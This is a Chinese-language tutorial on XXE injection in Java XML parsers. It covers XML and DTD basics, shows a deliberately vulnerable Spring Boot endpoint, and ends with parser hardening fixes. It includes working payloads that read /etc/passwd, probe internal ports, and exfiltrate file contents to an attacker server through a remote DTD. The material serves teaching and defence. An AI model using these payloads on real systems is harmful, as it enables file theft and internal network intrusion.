0x01 初识XXE#
XXE简介:#
XML External Entity 外部实体注入的简称就是XXE,从安全角度理解成XML External Entity attack 外部实体注入攻击。当网站允许引用XML外部实体时,就可能被攻击者引用恶意代码导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
XML简介:#
XML是可扩展标记语言,标准通用标记语言的子集,简称XML。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
初识XXE#
XML 文档形成了一种树结构,它从“根部”开始,然后扩展到“枝叶”,下面是一个XML文档。
<?xml version="1.0" encoding="ISO-8859-1"?>
<Person>
<name>蕉太狼</name>
<age>20</age>
<sex>boy</sex>
</Person>
第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。 Person是文档的根元素说明这个文档是人,里面的name、age、sex分别代表人的属性。 XML 文档形成一种树结构如下:
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
父、子以及同胞等术语用于描述元素之间的关系。父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹)。 所有元素均可拥有文本内容和属性(类似 HTML 中)。
DTD简介:#
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。 DTD 可被成行地声明于 XML 内部文档中,也可作为一个外部引用。 内部的 DOCTYPE 声明 假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
外部文档声明 假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
- 内部带有DTD的XML文档:
<?xml version="1.0"?>
<!DOCTYPE Person [
<!ELEMENT Person (name, age, sex)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
]>
<Person>
<name>蕉太狼</name>
<age>20</age>
<sex>boy</sex>
</Person>
- 外部带有DTD的XML文档:
<?xml version="1.0"?>
<!DOCTYPE Person SYSTEM "Person.dtd">
<Person>
<name>蕉太狼</name>
<age>20</age>
<sex>boy</sex>
</Person>
以下是外部Person.dtd文件中的内容:
<!ELEMENT Person (name, age, sex)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT sex (#PCDATA)>
DTD实体:#
实体是用于定义引用普通文本或特殊字符的快捷方式的变量,实体可在内部或外部进行声明。
一个内部实体声明:
<!ENTITY 实体名称 "实体的值">
DTD例子:#
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
XML例子:#
<author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
一个外部实体声明:
<!ENTITY 实体名称 SYSTEM "URI/URL">
DTD例子:
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
XML 例子:
<author>&writer;©right;</author>
0x02 XML的四种解析方式#
XML 4种解析方式#
1.DOM解析#
import java.io.File;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
public class XxeDemo {
public void xxe() throws Exception {
//1.创建DocumentBuilderFactory实例
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
//2.加载xml
File f = new File("src/main/resources/dom.xml");
Document doc = builder.parse(f);
NodeList person = doc.getElementsByTagName("Person");
for (int i = 0; i <person.getLength(); i++) {
Node node = person.item(i);
NodeList childNodes = node.getChildNodes();
for (int j = 0; j <childNodes.getLength() ; j++) {
if (childNodes.item(j).getNodeType()==Node.ELEMENT_NODE) {
System.out.print(childNodes.item(j).getNodeName() + ":");
System.out.println(childNodes.item(j).getFirstChild().getNodeValue());
}
}
}
}
}
以下是dom.xml中的内容
<?xml version="1.0" encoding="utf-8"?>
<Persons>
<Person>
<name>蕉太狼</name>
<age>8</age>
<sex>boy</sex>
</Person>
<Person>
<name>灰太狼</name>
<age>10</age>
<sex>boy</sex>
</Person>
<Person>
<name>红太狼</name>
<age>9</age>
<sex>girl</sex>
</Person>
</Persons>
下图是运行结果
2.SAX解析#
首先需要自定义DefaultHandler处理器
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
public class SAXDemoHandel extends DefaultHandler {
//遍历xml文件开始标签
@Override
public void startDocument() throws SAXException {
super.startDocument();
System.out.println("sax解析开始");
}
//遍历xml文件结束标签
@Override
public void endDocument() throws SAXException {
super.endDocument();
System.out.println("sax解析结束");
}
@Override
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
super.startElement(uri, localName, qName, attributes);
if (qName.equals("person")){
System.out.println("============开始遍历person=============");
}
else if (!qName.equals("person")&&!qName.equals("Persons")){
System.out.print("节点名称:"+qName+"----");
}
}
@Override
public void endElement(String uri, String localName, String qName) throws SAXException {
super.endElement(uri, localName, qName);
if (qName.equals("person")){
System.out.println(qName+"遍历结束");
System.out.println("============结束遍历person=============");
}
}
@Override
public void characters(char[] ch, int start, int length) throws SAXException {
super.characters(ch, start, length);
String value = new String(ch,start,length).trim();
if (!value.equals("")) {
System.out.println(value);
}
}
}
解析代码如下:
public void SAXDemo() throws Exception{
//1.或去SAXParserFactory实例
SAXParserFactory factory = SAXParserFactory.newInstance();
//2.获取SAXparser实例
SAXParser saxParser = null;
saxParser = factory.newSAXParser();
saxParser.parse("src/main/resources/dom.xml", new SAXDemoHandel());
}
运行结果如下:
3.JDOM解析#
首先引入JDOM依赖
<!--jdom -->
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom</artifactId>
<version>1.1.3</version>
</dependency>
public void JDom() throws Exception{
//1.创建SAXBuilder对象
SAXBuilder saxBuilder = new SAXBuilder();
//2.创建输入流
InputStream is = new FileInputStream(new File("src/main/resources/dom.xml"));
//3.将输入流加载到build中
Document document = saxBuilder.build(is);
//4.获取根节点
Element rootElement = document.getRootElement();
//5.获取子节点
List<Element> children = rootElement.getChildren();
for (Element child : children) {
List<Attribute> attributes = child.getAttributes();
//打印属性
for (Attribute attr : attributes) {
System.out.println(attr.getName()+":"+attr.getValue());
}
List<Element> childrenList = child.getChildren();
System.out.println("======获取子节点-start======");
for (Element o : childrenList) {
System.out.println("节点名:"+o.getName()+"---"+"节点值:"+o.getValue());
}
System.out.println("======获取子节点-end======");
}
}
运行结果如下:
4.DOM4J解析#
引入DOM4J依赖
<!-- dom4j -->
<dependency>
<groupId>dom4j</groupId>
<artifactId>dom4j</artifactId>
<version>1.6.1</version>
</dependency>
public void Dom4J() throws Exception{
//1.创建Reader对象
SAXReader reader = new SAXReader();
//2.加载xml
Document document = reader.read(new File("src/main/resources/dom.xml"));
//3.获取根节点
Element rootElement = document.getRootElement();
Iterator iterator = rootElement.elementIterator();
while (iterator.hasNext()){
Element stu = (Element) iterator.next();
List<Attribute> attributes = stu.attributes();
System.out.println("======获取属性值======");
for (Attribute attribute : attributes) {
System.out.println(attribute.getValue());
}
System.out.println("======遍历子节点======");
Iterator iterator1 = stu.elementIterator();
while (iterator1.hasNext()){
Element stuChild = (Element) iterator1.next();
System.out.println("节点名:"+stuChild.getName()+"---节点值:"+stuChild.getStringValue());
}
}
}
运行结果如下:
0x03 XXE注入的利用方法#
环境搭建:(SpringBoot)#
使用IDEA新建一个SpringBoot项目,这里需要注意的是jdk版本,我使用的是jdk8。点击Next进行下一步设置,勾选Spring Web模块。点击Finish按钮,等待项目创建成功。创建一个Controller来运行漏洞代码。接着需要在src/main/resources/application.properties配置文件中添加server.port=5000 把服务端的端口改为5000(这么做是为了避免与Burp的监听端口8080产生冲突)
1.任意文件读取#
首先来写一段存在XXE的代码。
@RestController
@RequestMapping("/")
public class XxeController {
@RequestMapping(value = "/xxe",method = RequestMethod.POST)
public String xxe(HttpServletRequest request) throws Exception{
//1.创建DocumentBuilderFactory实例
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
//2.加载xml
ServletInputStream xml = request.getInputStream();
//3.解析xml
Document doc = builder.parse(xml);
return doc.getDocumentElement().getFirstChild().getNodeValue();
}
}
然后启动项目。 构造一个恶意payload发送到服务器来读取/etc/passwd的内容,发送请求使用POST方法
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
可以看到成功读取了/etc/passwd的内容。
2.内网探测 & 端口扫描#
首先使用虚拟机开启一个redis服务使用客户端连接,检测redis服务是否正常。修改payload.xml中的恶意代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://192.168.2.199:6379">
]>
<root>&xxe;</root>
192.168.2.199是我虚拟机的IP地址,6379是redis默认端口号,再次发送payload进行访问。可以看到redis服务开启的时候响应耗时34毫秒,现在关闭redis服务在次进行访问。这个时候能看到响应耗时变为2.3秒,所以我们可以通过响应时长来判断端口是否开放。(通过这种方法可以把XXE注入当成SSRF,当端口未开放时,响应耗时会变长,用同样的方法可以探测内网一些资产。)
0x03无回显利用#
当我们遇到无回显xxe的时候可以使用把回显信息发送到远程服务器的日志中,达到获取数据的目的。 事先在用户目录准备好一个evil.txt 内容为HHHHHH。 首先准备一个vps,在vps上开启http服务。然后在web目录下创建一个evil.dtd文件,内容如下:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://172.16.35.131/?%file;'>">
%all;
然后在本地向服务端提交一个payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///Users/kn4im3/evil.txt">
<!ENTITY % remote SYSTEM "http://172.16.35.131/evil.dtd">
%remote;
%send;
]>
服务器解析xml的时候 就会先加载远程的evil.dtd,然后执行%all这个外部实体,最后执行%send发送数据。 然后使用以下命令
tail -f /var/log/apache2/access.log
查看apache2的日志,来获取我们想要的数据。
0x04 修复方法#
DocumentBuilderFactory修复#
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder documentBuilder = dbf.newDocumentBuilder();
DomParser 修复#
DOMParser domParser = new DOMParser();
domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false);
domParser.parse(new FileInputStream(new File("poc.xml")));
SaxBuilder 修复#
File file = new File("src/main/java/xxe/poc_bind.xml");
SAXBuilder sb = new SAXBuilder();
sb.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sb.setFeature("http://xml.org/sax/features/external-general-entities", false);
sb.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
sb.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
SAXParserFactory 修复#
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
File file = new File("poc.xml");
SAXParser parser = spf.newSAXParser();
parser.parse(file, (HandlerBase) null);
SAXReader 修复#
File file = new File("poc.xml");
SAXReader saxReader = new SAXReader();
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
saxReader.read(file);
SAXTransformerFactory#
File file = new File("poc.xml");
StreamSource source = new StreamSource(file);
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newTransformerHandler(source);
SchemaFactory#
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
File file = new File("src/main/java/xxe/poc.xml");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
StreamSource source = new StreamSource(file);
Schema schema = factory.newSchema(source);
XMLInputFactory#
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
File file = new File("poc.xml");